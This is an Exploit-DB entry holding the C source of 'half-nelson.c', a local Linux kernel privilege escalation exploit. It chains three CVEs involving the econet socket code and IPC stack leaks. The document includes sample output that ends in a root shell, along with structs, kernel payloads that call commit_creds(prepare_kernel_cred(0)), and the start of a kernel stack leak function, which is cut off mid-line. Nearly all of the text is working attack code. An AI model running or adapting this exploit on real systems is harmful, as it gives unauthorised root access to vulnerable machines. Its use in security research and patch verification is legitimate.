Exploit-DB #17787
Description: Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation
Type: local
Platform: linux
Date: 2011-09-05
Author: Jon Oberheide

Exploit:
/*
 * half-nelson.c
 *
 * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
 *
 *   Stack-based buffer overflow in the econet_sendmsg function in 
 *   net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an 
 *   econet address is configured, allows local users to gain privileges by 
 *   providing a large number of iovec structures.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
 *
 *   The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel 
 *   before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which 
 *   allows local users to bypass intended access restrictions and configure 
 *   econet addresses via an SIOCSIFADDR ioctl call.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
 *
 *   The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not 
 *   initialize certain structures, which allows local users to obtain 
 *   potentially sensitive information from kernel stack memory.
 *
 * Usage:
 *
 *   $ gcc half-nelson.c -o half-nelson -lrt
 *   $ ./half-nelson
 *   [+] looking for symbols...
 *   [+] resolved symbol commit_creds to 0xffffffff81088ad0
 *   [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
 *   [+] resolved symbol ia32_sysret to 0xffffffff81046692
 *   [+] spawning children to achieve adjacent kstacks...
 *   [+] found parent kstack at 0xffff88001c6ca000
 *   [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
 *   [+] lower child spawning a helper...
 *   [+] lower child calling compat_sys_wait4 on helper...
 *   [+] helper going to sleep...
 *   [+] upper child triggering stack overflow...
 *   [+] helper woke up
 *   [+] lower child returned from compat_sys_wait4
 *   [+] parent's restart_block has been clobbered
 *   [+] escalating privileges...
 *   [+] launching root shell!
 *   # id
 *   uid=0(root) gid=0(root)
 *
 * Notes:
 *
 *   This exploit leverages three vulnerabilities to escalate privileges. 
 *   The primary vulnerability is a kernel stack overflow, not a stack buffer 
 *   overflow as the CVE description incorrectly states. I believe this is the
 *   first public exploit for a kernel stack overflow, and it turns out to be 
 *   a bit tricky due to some particulars of the econet vulnerability. A full 
 *   breakdown of the exploit is forthcoming.
 *
 *   Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <syscall.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <net/if.h>

#define IOVS           446
#define NPROC          1024
#define KSTACK_SIZE    8192

#define KSTACK_UNINIT  0
#define KSTACK_UPPER   1
#define KSTACK_LOWER   2
#define KSTACK_DIE     3
#define KSTACK_PARENT  4
#define KSTACK_CLOBBER 5

#define LEAK_BASE      0xffff[PII_REDACTED]00
#define LEAK_TOP       0xffff8800c0000000
#define LEAK_DEPTH     500
#define LEAK_OFFSET    32 

#define NR_IPC         0x75
#define NR_WAIT4       0x72
#define SEMCTL         0x3

#ifndef PF_ECONET
#define PF_ECONET      19
#endif

#define STACK_OFFSET   6
#define RESTART_OFFSET 40

struct ec_addr {
	unsigned char station;
	unsigned char net;
};

struct sockaddr_ec {
	unsigned short sec_family;
	unsigned char port;
	unsigned char cb;
	unsigned char type;
	struct ec_addr addr;
	unsigned long cookie;
};

struct ipc64_perm {
	uint32_t key;
	uint32_t uid;
	uint32_t gid;
	uint32_t cuid;
	uint32_t cgid;
	uint32_t mode;
	uint16_t seq;
	uint16_t __pad2;
	unsigned long __unused1;
	unsigned long __unused2;
};

struct semid64_ds {
	struct ipc64_perm sem_perm;
	unsigned long sem_otime;
	unsigned long __unused1;
	unsigned long sem_ctime;
	unsigned long __unused;
	unsigned long sem_nsems;
	unsigned long __unused3;
	unsigned long __unused4;
};

union semun {
	int val;
	struct semid_ds *buf;
	unsigned short *array;
	struct seminfo *__buf;
};

struct region {
	unsigned long parent;
	unsigned long addrs[NPROC];
};
struct region *region;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;
 
void __attribute__((regparm(3)))
kernel_code(void)
{
	commit_creds(prepare_kernel_cred(0));
}

void
payload_parent(void)
{
	asm volatile (
		"mov $kernel_code, %rax\n"
		"call *%rax\n"
	);
}

void
payload_child(void)
{
	asm volatile (
		"movq $payload_parent, (%0)\n"
		"jmpq *%1\n"
		:
		: "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
	);
}

unsigned long
get_kstack(void)
{
	int i, size, offset;
	union semun *arg;
	struct semid_ds dummy;
	struct semid64_ds *leaked;
	char *stack_start, *stack_end;
	unsigned char *p;
	unsigned long kstack, *ptr;

	/* make sure our argument is 32-bit accessible */
	arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
	if (arg == MAP_FAILED) {
		printf("[-] failure mapping memory, aborting!\n");
		exit(1);
	}

	/* map a fake stack to use during syscall */
	stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
	if (stack_start == MAP_FAILED) {
		printf("[-] fa